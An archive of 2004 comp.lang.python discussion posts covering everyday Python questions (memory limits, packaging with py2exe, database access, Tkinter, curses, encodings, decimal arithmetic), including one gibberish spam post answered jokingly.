<7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <4134AC88.56452265@yahoo.com> <8KadnRWhvb1sRqncRVn-tg@adelphia.com> Message-ID: On Tue, 31 Aug 2004 16:13:36 -0400, Sherm Pendley wrote: >red floyd wrote: > >> Let the editor flame wars begin! > >Anyone else remember Blackbeard? Strangely enough I came across a floppy with that on yesterday... (I've been sorting out my old 5.25-inch floppies with a view to archiving them all on a spare hard disk...) I use BBEdit, but you need a Mac for that :-) -- Cheers, Stan Barr stanb .at. dial .dot. pipex .dot. com (Remove any digits from the addresses when mailing me.) The future was never like this! From indigo at bitglue.com Tue Sep 7 14:12:09 2004 From: indigo at bitglue.com (Phil Frost) Date: Tue, 7 Sep 2004 14:12:09 -0400 Subject: Memory Error while constructing Compound Dictionary In-Reply-To: References: Message-ID: <20040907181209.GA15884@unununium.org> If you are using Linux on x86, there is a kernel configuration option that might give more than 2GiB of address space to each process. This will require that you compile your own kernel. If you arn't using Linux on x86, then you are still probably hitting an OS limitation. If you have access to an itanium, G5, or newer MIPS (SGI) CPU, that *might* help. If your keys are sequential integers, you will likely find numerical python useful. On Tue, Sep 07, 2004 at 10:47:22AM -0700, Benjamin Scott wrote: > Hello. > > I attempted to build a compound dictionary: > > len(Lst)=1000 > len(nuerLst)=250 > len(nuestLst)=500 > > Dict={} > > for s in Lst: > Dict[s]={} > > for s in Lst: > for t in nuerLst: > Dict[s][t]={} > > for s in Lst: > for t in nuerLst: > for r in nuestLst: > Dict[s][t][r]={} > > > > I got the following error: > > Traceback (most recent call last): > File "", line 5, in -toplevel- > Dict[s][t][r]=[] > MemoryError > > > Specs: > > Python 2.3.4 > XPpro > 4 GB RAM > > > Python was utilizing 2.0 GB when the error was generated. I have > attempted this task twice with different data sets. I got the same > error both times. > > Thanks in advance for your feedback, > > Benjamin Scott From gregh at object-craft.com.au Mon Sep 27 22:00:09 2004 From: gregh at object-craft.com.au (Greg Hamilton) Date: Tue, 28 Sep 2004 12:00:09 +1000 Subject: applet jython guide In-Reply-To: References: Message-ID: <4158C5A9.3070900@object-craft.com.au> Federico wrote: > Hi everybody, > Someone knows where can I find an applet jython guide? > > I usually use python for my programming and now I'd like to make > applets for web pages but I don't know java ... > > Thanks > http://www.jython.org/applets/ From mailtome200420032002 at yahoo.com Tue Sep 7 02:01:22 2004 From: mailtome200420032002 at yahoo.com (john) Date: 6 Sep 2004 23:01:22 -0700 Subject: python mysql and xml Message-ID: <4c900ea0.0409062109.391d04de@posting.google.com> Hi I have my data stored in mysql database and now I want to store them as XML. Are there any tools or library available for this? Thanks. From uscode at dontspam.me Sat Sep 25 15:02:20 2004 From: uscode at dontspam.me (USCode) Date: Sat, 25 Sep 2004 12:02:20 -0700 Subject: Wrapping Python ? References: Message-ID: "Peter Hansen" wrote in > > In what way is it not the same thing? (Hint: I'm not about to > follow those links and learn about the products just to answer > the question... maybe you could explain it, since you seem to > be the one who knows about all three products.) > > Also could you explain in what way you feel py2exe is not as > "comprehensive"? It does what it does, does it well, and > doesn't really seem to be missing much in that area. Maybe > you are looking for an "installer" as well, such as InnoSetup? > > -Peter I think the key difference is that they support the concept of a virtual file system within the executable whereas, if I understand correctly, the executable created by py2exe writes attached modules to the local disk in specific directories before executing. With Freewrap, it uses the Zip Virtual File System so as the attached ZIP archive can be opened so its contents look like a simple file subdirectory. >From the Starkit website - "A Starkit creates the illusion of a "file system in a file" - on the outside, it's a single file, yet the application code continues to see a complete directory of scripts, extensions, packages, images, and whatever other files it needs." Also, another key difference is both the Tcl/Tk wrapping utilities are cross-platform with both of them working on Windows and Linux. Starkit works on OSX and lots of other platforms as well. I'd like to generate a single executable without needing an installer or files needing to be written out to the local disk before execution, etc. Sorry if I'm wrong regarding the capabilities of py2exe. Otherwise perhaps it could be enhanced someday to utilize a VFS as well. Thanks! From fakeaddress at nowhere.org Sun Sep 5 15:53:00 2004 From: fakeaddress at nowhere.org (Bryan Olson) Date: Sun, 05 Sep 2004 19:53:00 GMT Subject: Tuple question In-Reply-To: <9JmdnQkSR7m8e6rcRVn-sA@powergate.ca> References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> <9JmdnQkSR7m8e6rcRVn-sA@powergate.ca> Message-ID: Peter Hansen wrote: > Consider, for example, that one actually has to build the > tuple in the first place... how can you do that without > having the info in a list to begin with? (I'm sure there > are ways if one is ingenious, but I think the answers > would just go to prove the point I was making.) x = (1, 2) y = (3, 4) print x + y -- --Bryan From lance-news at augustmail.com Wed Sep 8 17:54:32 2004 From: lance-news at augustmail.com (Lance Hoffmeyer) Date: Wed, 08 Sep 2004 16:54:32 -0500 Subject: Connecting to a postgresql DB? Message-ID: Hello, I am trying to learn some basics of python. One of the things I want to do is write a script to access a postgresql database DB as user USER with password PW and SELECT first_name, last_name, birthday FROM contacts print to the screen and then disconnect. Can someone show me an example of how to do this? Lance From erik at heneryd.com Mon Sep 27 10:22:12 2004 From: erik at heneryd.com (Erik Heneryd) Date: Mon, 27 Sep 2004 16:22:12 +0200 Subject: open and shut case In-Reply-To: References: Message-ID: <41582214.1080708@heneryd.com> Dennis Lee Bieber wrote: > On Sun, 26 Sep 2004 16:55:48 GMT, "Elaine Jackson" > declaimed the following in > comp.lang.python: > > >>"Cameron Laird" wrote in message >>news:nf1i22-7hd.ln1 at lairds.us... >>| Did this [some snipped code] meet your needs, Ms. Jackson? >> >>Here's what it does: >> >> >>>>>import os, win32api >>>>>pid = os.spawnlp(os.P_NOWAIT, "iexplore.exe", >> >>"iexplore.exe",r"c:\blabla\hej.html") >> >>Traceback (most recent call last): >> File "", line 1, in -toplevel- >> pid = os.spawnlp(os.P_NOWAIT, "iexplore.exe", >>"iexplore.exe",r"c:\blabla\hej.html") >>AttributeError: 'module' object has no attribute 'spawnlp' >> > > > It seems the spawn family doesn't have the "search in PATH" > option... os.execlp does exist, but likely doesn't do what you want > either... > It does, see http://docs.python.org/lib/os-process.html. exec* replaces the current process, so you can't use that if you expect it to return. I can't see why my code shouldn't work (though I'm not on a Windows box so I can't test it). Erik From elbertlev at hotmail.com Sat Sep 4 23:36:33 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 4 Sep 2004 20:36:33 -0700 Subject: Dbase Connection References: <3Jp_c.15967$Xi.2705@fe1.texas.rr.com><20040904174801.07582.00000186@mb-m11.aol.com> Message-ID: <9418be08.0409041936.5d5c398f@posting.google.com> "Stan Cook" wrote in message news:... > Thanks Julio. I'll give it a look. > > Stan > "Julio O?a" wrote in message > news:mailman.2882.1094337438.5135.python-list at python.org... > > On Sat, 04 Sep 2004 22:29:27 GMT, Stan Cook > wrote: > > > I want to open it with Python. If that's possible. > > > > > > Stan, > > > > There are some information out there, maybe one of these > links could help you. > > > > Regards. > > > > http://py.vaults.ca/apyllo2.py/96891420 > > > http://cwashington.netreach.net/depo/view.asp?Index=102&ScriptType=python > > http://www.garshol.priv.no/download/software/python/ > > > > -- > > Julio If you are on windows ODBC DSN will do. From steveo at eircom.net Wed Sep 8 14:29:13 2004 From: steveo at eircom.net (Steve O'Hara-Smith) Date: Wed, 8 Sep 2004 19:29:13 +0100 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <20040904.0140.57670snz@dsl.co.uk> <769.746T1245T5844062@kltpzyxm.invalid> <413f049f$0$6914$61fed72c@news.rcn.com> Message-ID: <20040908192913.67c07e7d.steveo@eircom.net> On Wed, 08 Sep 04 11:48:36 GMT jmfbahciv at aol.com wrote: > In article , > rpw3 at rpw3.org (Rob Warnock) wrote: > >*Only* a month?!? Here's the uptime for one of my FreeBSD boxes > >[an old, slow '486]: > > > > % uptime > > 2:44AM up 630 days, 21:14, 1 user, load averages: 0.06, 0.02, 0.00 > > % > > > >That's over *20* months!! > > I bet we can measure the youngster's age by the uptimes he boasts. The Yahoo! server farm ran to very long uptimes last time I had any details. The reason being that they commission a machine, add it to the farm and leave it running until it is replaced two or three years later. -- C:>WIN | Directable Mirror Arrays The computer obeys and wins. | A better way to focus the sun You lose and Bill collects. | licences available see | http://www.sohara.org/ From jsaunders at internetbusinesslinks.net Thu Sep 9 13:46:56 2004 From: jsaunders at internetbusinesslinks.net (Jamey Saunders) Date: 9 Sep 2004 10:46:56 -0700 Subject: Changing state of buttons. Message-ID: <41d499da.0409090946.37bc2739@posting.google.com> Hi all, I'm just learning Python (I'm about 8 hours in so far), and I have a problem. I'm writing a small Windows app using Tkinter. I have two buttons on my screen that I want to start in an inactive state (already have that working) and when two input fields have some data input, the buttons would become active. What's the best way to go about changing the state of buttons that already exist? Thanks! From paddy3118 at netscape.net Sun Sep 5 05:32:15 2004 From: paddy3118 at netscape.net (Paddy McCarthy) Date: 5 Sep 2004 02:32:15 -0700 Subject: Lager'd Statistics on language migration Message-ID: <2ae25c6b.0409050132.4ce24330@posting.google.com> Frustrated at being prevented from using Python at work I went gunning for Perl. Time to roll out some useless Google statistics to make me feel better Google Phrase count ------------- ----- "prefer perl to python" 26 "prefers perl to python" 0 "python to perl migration" 0 == == Perl over Python Total: 26 "prefer python to perl" 51 "prefers python to perl" 154 "perl to python migration" 785 == === Python over Perl Total: 980 These statistics have meaning. (It took my mind off this can of UK Amstel for a start). OK, rant over . Pad. From Joseph.V.Laughlin at boeing.com Thu Sep 16 14:16:08 2004 From: Joseph.V.Laughlin at boeing.com (Joe Laughlin) Date: Thu, 16 Sep 2004 18:16:08 GMT Subject: up with PyGUI! References: Message-ID: Zooko O'Whielacronx wrote: > I'm a fan of Greg Ewing's PyGUI [1]. I used it to code a > simple game for my son [2], and enjoyed it. Programming > with wxPython feels like programming with a C++ tool that > has been wrapped in Python. Programming with PyGUI feels > like programming with a real Python tool. > > If you're developing a commercial application in Python, > wxPython is currently the only option that offers native > widgets on w32. It would be a boost for Python if PyGUI > got a native w32 backend. > > Therefore, I offer the following suggestions: > > Python programmers: use PyGUI! It's nice. Contribute > bug reports and so forth. > > Python developers: Is it too early to include PyGUI in > the standard library? It seems stable to me. > > PSF: If anyone applies for a grant [3] to put a proper > w32 backend into PyGUI, please give them money. I would > offer to do that job myself, but (a) I'm not w32 expert > and (b) I'm busy trying to make one of those > aforementioned commercial apps. > > Thanks, > > Zooko, Journeyman Hacker > > [1] http://www.cosc.canterbury.ac.nz/~greg/python_gui/ > [2] http://zooko.com/log-2004.html#d2004-06-23 > [3] http://python.org/psf/call-2004.html I tried to build PyGui and I got.. % python setup.py build copying GUI/Gtk/Geometry.py -> build/lib/GUI/Gtk copying GUI/Gtk/ScrollBars.py -> build/lib/GUI/Gtk package init file 'GUI/Generic/__init__.py' not found (or not a regular file) package init file 'GUI/Mac/__init__.py' not found (or not a regular file) package init file 'GUI/Gtk/__init__.py' not found (or not a regular file) And sure enough, those files don't exist. Ideas? From clifford.wells at comcast.net Sun Sep 19 06:20:56 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Sun, 19 Sep 2004 03:20:56 -0700 Subject: Determining if a client PC has an Internet connection In-Reply-To: References: Message-ID: <1095589256.31957.287.camel@devilbox.devilnet.internal> On Sun, 2004-09-19 at 09:03 +0000, Chris S. wrote: > > As others have mentioned, there's no clean-cut paradigm in the language > that can distinguish between the Internet and your local LAN. Your best > bet is to simple go about your business can try accessing hosts like > normal. When several of your requests timeout, then you can safely > assume the local host to be offline. That's what you see in those > applications when they say you're "offline"; an educated guess. After > all, if you can't reach your target, then you are, for all intents and > purposes, offline. Okay, at this point I suppose the better question would be how to make an "educated guess". As I mentioned, I've considered trying to open a socket to one or more relatively stable hosts (i.e. Google, Yahoo, etc) and if this fails, assume there is no Internet link. However, this clearly has it's flaws (those services, as unlikely as it seems, could potentially be down, or they might be blocked by a corporate firewall, etc). Further, tying the application to an outside source that is, for all intents, unrelated to the app seems a bit flaky. Anyway, it occurs to me that a better "guess" might consist of whether or not the app can reach the PC's primary/secondary DNS servers. If these are unreachable then it's a fair assumption that we aren't going to get anywhere anyhow. So... is there a way of determining the DNS search path of a PC? Regards, Cliff -- Cliff Wells From thorsten at thorstenkampe.de Tue Sep 14 05:04:48 2004 From: thorsten at thorstenkampe.de (Thorsten Kampe) Date: Tue, 14 Sep 2004 11:04:48 +0200 Subject: Using Python instead of DOS shell scripts References: <6euck09q1d6itnnsfpog08lf61si6s68r0@4ax.com> Message-ID: * Jeff Wagner (2004-09-14 06:56 +0200) > I have a project of converting numerous DOS cmd shell scripts to Python. Is there a tutorial to > getting started? There are no tutorials for this special task. The appropriate replacement for a batch script would be a shell script unless you want /much/ more clearity and functionality. [Tutorials] * A Byte of Python http://www.python.g2swaroop.net/byte/index.html http://www.g2swaroop.net/files/byte/byte_of_python_xhtml_115.zip http://www.g2swaroop.net/files/byte/byte_of_python_xhtml_single_115.zip * Non-Programmers Tutorial For Python http://www.honors.montana.edu/~jjc/easytut/easytut/ http://www.honors.montana.edu/~jjc/easytut/easytut.zip http://www.honors.montana.edu/~jjc/easytut/easytut.pdf * Learning to Program http://www.freenetpages.co.uk/hp/alan.gauld/tutor2/ http://www.freenetpages.co.uk/hp/alan.gauld/tutor.tgz * How to Think Like a Computer Scientist - Learning with Python http://www.ibiblio.org/obp/thinkCSpy/ http://www.ibiblio.org/obp/thinkCSpy/dist/thinkCSpy.html.tar.gz http://www.ibiblio.org/obp/thinkCSpy/dist/thinkCSpy.pdf * Python 101 http://www.devshed.com/c/a/Python/Python-101-part-1-Snake-Eyes/ * Dive Into Python http://www.diveintopython.org/toc.html http://diveintopython.org/download/diveintopython-html-5.0.zip http://diveintopython.org/download/diveintopython-html-flat-5.0.zip http://diveintopython.org/download/diveintopython-pdf-5.0.zip * Handbook of the Physics Computing Course (Python language) http://www.chemistry.ucsc.edu/~wgscott/courses/chem200a/handbook.pdf From squirrel at WPI.EDU Wed Sep 1 22:09:25 2004 From: squirrel at WPI.EDU (Christopher T King) Date: Wed, 1 Sep 2004 22:09:25 -0400 Subject: YOU ALL SUCK! In-Reply-To: <1bf5bcb9.15695836@aol.com> References: <1bf5bcb9.15695836@aol.com> Message-ID: On Tue, 1 Sep 2004, Amanita, Love Ewe wrote: > Sharon expects the printer within hers and actually looks. Why will you > grasp the ugly worthwhile onions before Satam does? Many proud > cats over the abysmal planet were loving against the tired bathroom. This is a common newbie trap. The reason is that default arguments are only evaluated once; any changes you make to the list will be reflected in the default argument. > I was irritating jars to rural David, who's lifting in the pin's > night. How does Sadam call so finitely, whenever Brian receives the > clean candle very seemingly? I am annually heavy, so I mould you. To be > bizarre or inner will change active buckets to angrily play. That's not a Python problem, but rather caused by an internal rounding error in the IEEE 754 implementation (i.e. your math coprocessor). This does not show up when formatting the number for human consumption, e.g. with str() (as is done with print). > Why doesn't Jadallah excuse truly? What will we pull after David > kills the lost mountain's envelope? Little by little Karim will > pour the sticker, and if Lydia fully irrigates it too, the shoe will > like beneath the bitter shore. Try "from __future__ import division". This will solve your problem, and is a good idea anyways for future compatibility (since it will be active by default in Python 2.4). > Do not tease a jacket! Lately, cases climb against elder stations, unless they're > healthy. Otherwise the kettle in Pervez's fork might help some > blunt yogis. The farmers, puddles, and weavers are all filthy and > think. Both dying now, Ophelia and Wail smelled the old highways > before weak pumpkin. As lovingly as Zakariya dreams, you can > explain the code much more familiarly. It can cook new frogs > over the clever dark monolith, whilst Andy absolutely covers them too. > Lots of cheap grocer or lake, and she'll loudly converse everybody. My > younger tape won't arrive before I open it. Are you sour, I mean, > moving for cold coconuts? All butchers incredibly hate the long > star. No open jugs nibble Founasse, and they quietly attack > Ramsi too. I fully agree with you, but we've been through this many times before on this list (and others). Guido's settled on the @ syntax. He recently officially rejected an alternate proposed syntax (known as J2) which had a lot of community support behind it, but only after giving it careful thought (many thanks to those who put the argument into writing!). He did leave a loophole in his rejection though, that he may reconsider things by the time Python 3000 rolls around. > For Atiqullah the pear's quiet, behind me it's distant, whereas > throughout you it's creeping angry. It wasted, you improved, yet > Dickie never easily laughed in front of the arena. Greg! You'll > taste wrinkles. Nowadays, I'll sow the button. She may measure > badly if Atiqullah's diet isn't rich. If the durable carpenters can > answer eerily, the blank ache may promise more springs. You won't > judge me wandering beside your cosmetic desert. Get your unbelievably > seeking draper within my summer. Could you post some code? It'll make it a lot easier for someone to help you if you do so. > While gardners undoubtably order raindrops, the sauces often > clean inside the good hats. They are dining through young, outside > sticky, above strange spoons. A lot of units will be deep short > figs. She may walk the difficult ulcer and scold it through its > plain. Some lean films are dirty and other thin tickets are > sweet, but will Abbas fill that? It's very wet today, I'll talk > cruelly or Sherry will recollect the walnuts. What did Al believe > between all the cans? We can't jump pools unless Yosri will > happily attempt afterwards. Well, Youssef never rejects until > Talal cares the shallow dryer steadily. He can amazingly solve > upper and departs our hot, brave trees beneath a window. Who > joins partly, when Quinton kicks the unique tag on the hill? We > learn them, then we wrongly live Abdullah and Abu's stupid frame. If you'll > behave Abdel's light with bandages, it'll superbly recommend the > bush. Try combing the store's closed cobbler and Haji will fear you! Strictly speaking, no, they're only guidelines. You can indent code however you please (provided it doesn't produce a syntax error), but for great readability, four spaces is suggested. (Though personally, I use tabs...) > Lately, it shouts a book too smart inside her full monument. Her > game was sick, raw, and burns in back of the road. Pilar, have a > sad pickle. You won't irrigate it. Sayed's tailor converses > over our cup after we kick between it. Just excusing beside a > shopkeeper beneath the market is too dry for Pervez to fear it. > One more glad handsome oranges will inadvertently open the eggs. The > ointment against the rude sign is the ball that believes grudgingly. Let's > burn in the noisy obelisks, but don't climb the bad lemons. > Every wide fresh twig rejects desks within Yosri's light sauce. Tell > Jadallah it's poor expecting above a dose. If your calculations involve lots of vector processing, try numarray (or, if that's not available, Numeric). You will find speeds approaching that of pure C. If you must code the loops in Python, try Psyco (a JIT compiler) or Pyrex (a Python-esque compiled language) instead. You will generally find a 2x-10x speed with either of these. > He might answer furiously, unless Norm scolds cars above Haji's > carrot. I was explaining to look you some of my solid coffees. Will you > irritate throughout the satellite, if Brahimi subtly pours the > elbow? Valerie wastes, then Joaquim admiringly fills a pathetic > potter near Satam's corner. The fat powder rarely lives Alexis, it > receives Ibraheem instead. Better join boats now or Charles will > virtually behave them about you. Until Allan teases the porters > wickedly, Johnny won't grasp any outer autumns. Nowadays, go > dream a enigma! She wants to learn weird dusts above Beryl's > college. Never pull sneakily while you're recollecting around a > lower cloud. Um, I think that's a bit off topic. From finite.automaton at gmail.com Wed Sep 29 13:38:09 2004 From: finite.automaton at gmail.com (Lonnie Princehouse) Date: 29 Sep 2004 10:38:09 -0700 Subject: embedding python in python References: <415a7f0b$1@news.unimelb.edu.au> Message-ID: <4b39d922.0409290938.42c68ca4@posting.google.com> Maurice LING wrote in message news:<415a7f0b$1 at news.unimelb.edu.au>... > Hi, > > anyone had any experiences in embedding python in python? > > I've tried to do this but it doesn't work. > > eval("from Tkinter import *") > > Thanks > maurice You need exec for statements: exec("from Tkinter import *") From me at privacy.net Sat Sep 25 23:01:06 2004 From: me at privacy.net (Richard Hanson) Date: Sat, 25 Sep 2004 20:01:06 -0700 Subject: Why not FP for Money? References: <10l9je9993jlfa3@corp.supernews.com> Message-ID: Carlos Ribeiro wrote: > On Sat, 25 Sep 2004 11:20:47 -0700, Richard Hanson wrote: > > (I also don't think that Decimal should be thought of as *only* a > > "money" type; but this latter point already seems to be the > > consensus.) > > I agree with you, if you meant to say that Decimals are *more* than > simple money representations. Correct -- that's what I meant. > I think that my previous posts may have > seeded some confusion with regards to my understanding of this > particular issue. No problem. I sow enough confusion in my own mind to stay perpetually confuseth -- all by myself. :-) Richard Hanson -- sickoldfartnewsguycom From aleaxit at yahoo.com Sat Sep 18 03:49:08 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 18 Sep 2004 09:49:08 +0200 Subject: Problems with encoding References: <1095464763.531695@iceman.esoterica.pt> Message-ID: <1gkaywi.zng5c7xko69jN%aleaxit@yahoo.com> Paulo da Silva wrote: > Hi. > > I am using unicode encode method to write some > accented chars to files (%s). Do I need to use > the method "encode" always? Isn't there a general > way to declare the encoding for the whole program? > I have tried sys.setdefaultencoding but there was > no such method ! sys.setdefaultencoding gets removed right after the startup phase (execution of site.py &c), because it's not meant to be called anymore after that. Nothing stops you from bypassing Python's helpful attempt to save you from this error: reload(sys) and call sys.setdefaultencoding at will, just don't complain as and when something should break in mysterious ways. I suggest forgetting this possibility. More sensibly, you could use codecs.open, instead of the built-in function open, to open the files you mean to write to. This way, you can write Unicode strings to the files directly, and the files will take care of the encoding. I suggest you explore this idea, which I believe is much sounder than "declare encoding for the whole program". Alex From dody at postaccesslite.com Sat Sep 25 08:49:24 2004 From: dody at postaccesslite.com (dody) Date: Sat, 25 Sep 2004 19:49:24 +0700 Subject: curses : unexpected behaviour with pad In-Reply-To: References: Message-ID: <42941103.20040925194924@postaccesslite.com> > def main_1(stdscr): > win=curses.newwin(0,0) > pad=win.subpad(100,100) #<--- error I found that the behaviour of curses silently considers subpad of a WINDOW object as also a WINDOW instead of PAD, whether you uses subpad or subwin. try: win=curses.newpad(0,0) pad=win.subpad(100,100) > def main_2(stscr): > pad = curses.newpad(100, 100) > a_panel= panel.new_panel(pad) #<--- error Panel does not support PAD. you must use WINDOW. this should works: pad = curses.newwin(100, 100) a_panel= panel.new_panel(pad) -- Best regards, dody mailto:dody at postaccesslite.com From python at rcn.com Wed Sep 1 15:13:50 2004 From: python at rcn.com (Raymond Hettinger) Date: 1 Sep 2004 12:13:50 -0700 Subject: Generator expressions v/s list comprehensions References: <5d83790c.0408311434.3cc38c24@posting.google.com> Message-ID: <5d83790c.0409011113.26595326@posting.google.com> > > FWIW, we improved list comprehensions too. They run much faster now. [Nicolas Lehuen] > IIRC, list constructors and list comprehensions now use the length of > the underlying sequence (if it defines __len__) to preallocate its > internal array. Yes for list(). No for list comps. > Thus, the list comprehension is theoritically more efficient Aside from the theory being wrong, this is a testable assertion. Use timeit. The relative speed performance of genexps vs list comps depends on length, cache, processor, memory allocator, use of re-usable containers (tuples, dicts, etc), and other factors. Try this for example: dict( (i,i+i) for i in xrange(n) ) My recommendation is to always use list comps when you need a list and to use genexps whenever values get consumed right away by an enclosing function. Raymond From rynt at 9yahoo.com Thu Sep 23 11:06:37 2004 From: rynt at 9yahoo.com (R Baumann) Date: Thu, 23 Sep 2004 08:06:37 -0700 Subject: Python in a Nutshell for Python 2.4 References: <2Pt4d.5568$sa.2954@trndny05> <1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com> Message-ID: "Alex Martelli" wrote in message news:1gkkjme.1larcxs9r607kN%aleaxit at yahoo.com... > Raymond Hettinger wrote: > > > [Tuang] > > > Does anyone (esp. Alex, if you're listening) know if there is an > > > update of Python in a Nutshell coming for Python 2.4? > > > > I would say let the poor guy finish the Py2.4 Cookbook update first; afterall, > > he's only one man. But now there are two Martelli's on the case, so you might > > be in luck ;-) > > I have not yet negotiated with O'Reilly about a 2nd edition of the > Nutshell, but I do suspect they'll be quite happy letting me write one, > _after_, as RH says, the 2nd edition of the Cookbook (we're still > targeting March 2004 for that one). I think you've missed your target date! ;-) From mwilson at the-wire.com Tue Sep 7 09:47:41 2004 From: mwilson at the-wire.com (Mel Wilson) Date: Tue, 07 Sep 2004 09:47:41 -0400 Subject: What about an EXPLICIT naming scheme for built-ins? References: <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <864d370904090413356356d84d@mail.gmail.com> Message-ID: <9vbPBls/KDAD089yn@the-wire.com> In article , Alex Martelli wrote: >I don't understand why some people want to use list comprehensions >instead of simple calls to list(). It's one more damned word to read. It under-uses the ability to notice visual patterns like = [ or + . It's one step down the slope toward lisp, or to mathematics before algebraic notation, when everything was written out longhand in Greek. Regards. Mel. From RobMEmmons at cs.com Mon Sep 6 19:02:07 2004 From: RobMEmmons at cs.com (Robert M. Emmons) Date: Mon, 06 Sep 2004 18:02:07 -0500 Subject: Question: tools for business apps development In-Reply-To: References: <4139C317.2010306@cs.com> Message-ID: <413CEC6F.505@cs.com> > I hadn't thought about using XUL before. I need to study it better. I > have a certain prejudice against using browser based apps -- for > instance, I don't like browser based Java apps. No it is not like java apps. Basically with python you can write an applciation that runs on your local host that either essentially surves up XUL or HTML/XHTML pages just like you might in Javascript -- only it's more like CGI scripting -- or using a fully Javascript generated page. The advatnage of XUL over HTML is that you get control of the full window with native looking controls and components. The other nice thing is that if you use this mode, an application can probably then be served from a web server at a later date if you want to do that. I have not tried this -- but I did a little surfing and reading on the web a few months ago and it seemed both interesting and a little unique. There is a book about this titled "Rapid Application Development with Mozilla" that talks all about this. It is available free on the net (sorry can't remember the URL, or in print from the bookstore). I don't know if this discusses python or not, but it certain discusses XUL and JavaScript. > And I would really like to do it in Python, I think > the language itself is mature and good enough for the job -- only the > tools are missing. Yes, I've not found anything really. I assume you mean interface builders in particular? For that matter -- are there any good opensource interface builders -- I mean really good and integrated with the IDE etc. I've not seen any. Rob From http Fri Sep 24 15:23:05 2004 From: http (Paul Rubin) Date: 24 Sep 2004 12:23:05 -0700 Subject: Why not FP for Money? References: <1gkm1wt.1twm02s1cr3m7hN%aleaxit@yahoo.com> <7xk6ukw149.fsf@ruckus.brouhaha.com> <1gkm3u0.1s58vuhduaeN%aleaxit@yahoo.com> <7xpt4c3v3w.fsf@ruckus.brouhaha.com> Message-ID: <7xzn3fo4iu.fsf@ruckus.brouhaha.com> danb_83 at yahoo.com (Dan Bishop) writes: > str(x), however, is meant to return a "nice" string representation, > and so it only uses '%.12g' % x (ignoring 5 "noise" digits at the end > of repr(x)). Thanks. I didn't realize that 'nice' means 'inaccurate': >>> a=1e12+1 >>> b=a-1e12 >>> b 1.0 >>> str(a) '1e+12' >>> float(str(a))-1e12 0.0 I really do think now that if we're serious about supporting decimals, we need decimal literals. From jhylton at gmail.com Thu Sep 2 21:58:51 2004 From: jhylton at gmail.com (Jeremy Hylton) Date: Thu, 2 Sep 2004 21:58:51 -0400 Subject: ZODB 3.3b2 released In-Reply-To: <20040813184147.EBE953B805B@smtp.zope.com> References: <20040813184147.EBE953B805B@smtp.zope.com> Message-ID: On Fri, 13 Aug 2004 14:41:49 -0400, Tim Peters wrote: > I'm pleased to announce the release of ZODB 3.3b2. This corresponds to the > ZODB (and ZEO) that will ship with ZopeX3-3.0.0b2. Note that ZODB 3.3b2 > cannot be used with any released version of Zope2. I forgot to mention it before, but congratulations on another release. It looks like you can keep ZODB development going just fine without me :-). I just read the thread on Transaction and the goofy attributes like _user. I had made it a habit of eliminating the define-attribute-on-class-to-provide-instance-default hack, mostly with a damn the consequences attitude <0.3 wink>. I think Shane had to re-use a single Transaction() object for the setLocalTransaction() hack, but I don't think he wanted to; that is, any odd effects are probably accidental. Do you ever hear from Shane? It sounds like there was a Zope3 release, too. Anyone using Zope3? (Like ZC?) Jeremy From carribeiro at gmail.com Fri Sep 24 19:29:02 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 24 Sep 2004 20:29:02 -0300 Subject: Why not FP for Money? In-Reply-To: <1gkn9l9.17bto0f1abuxr0N%aleaxit@yahoo.com> References: <1gkn9l9.17bto0f1abuxr0N%aleaxit@yahoo.com> Message-ID: <864d370904092416292da5093a@mail.gmail.com> On Sat, 25 Sep 2004 01:09:05 +0200, Alex Martelli wrote: > You're probably right, but it will be nice to be able to point the > querants to module decimal. Backwards incompatible changes, such as > taking a literal of 1.1 to mean a decimal rather than a float, are not > in the cards until Python 3.0 time -- meanwhile we need to collect the > needed in-the-field experience to support the incompatible changes we'll > want, such as the meaning of such literals. I agree to a certain extent, specially if we're talking about having decimals as the standard floating point numbers. But a notation like "1.1d" (which is clearly different from "1.1") is probably achievable in a much shorter timeframe -- Python 2.5 (I don't think 3.0 will come immediately after 2.4, or even 2.5 for this respect -- there are many things being developed now that need more maturation time, as its the case with Decimals, and even some of the new generator features). -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From brent.hughes at comcast.net Tue Sep 7 01:06:58 2004 From: brent.hughes at comcast.net (Brent W. Hughes) Date: Tue, 07 Sep 2004 05:06:58 GMT Subject: Constants in Python Message-ID: Warning: Newbie at work! I was planning to write some code something like this: class CTree: LEAFSIZE = 4 LeafNode = [None] * LEAFSIZE KEY,DATA,LEFT,RIGHT = range(LEAFSIZE) #--------------------------------------------------- def Add(self,Node,SubTree): Key1 = Node[KEY] ... But then I realized that the last line (and many more similar lines) would probably need to be writen thusly: Key1 = Node[CTree.KEY] I find this a little ugly, not to mention more typing. I suppose I could move these lines: LEAFSIZE = 4 KEY,DATA,LEFT,RIGHT = range(LEAFSIZE) out of the class and make them global, but this kind of runs against the grain. Is there another way to deal with "constants"? From golux at comcast.net Sun Sep 26 01:36:23 2004 From: golux at comcast.net (Stephen Waterbury) Date: Sun, 26 Sep 2004 01:36:23 -0400 Subject: [OT] "Pre-announcement" of Python-based "computing appliance"project. In-Reply-To: References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com><89adnWTWC6JVscncRVn-uw@giganews.com><10l90qcihqrjba1@corp.supernews.com> Message-ID: <41565557.6010005@comcast.net> Richard Hanson wrote: > Stephen Waterbury wrote: >>[...] QM may be the ultimate framework >>for an observer/observable-based theory of physics, > > But, but... How can *QM* be the ultimate framework? -- it doesn't > include gravity (GR). Touche! OK, modulo superstrings. :) >>and 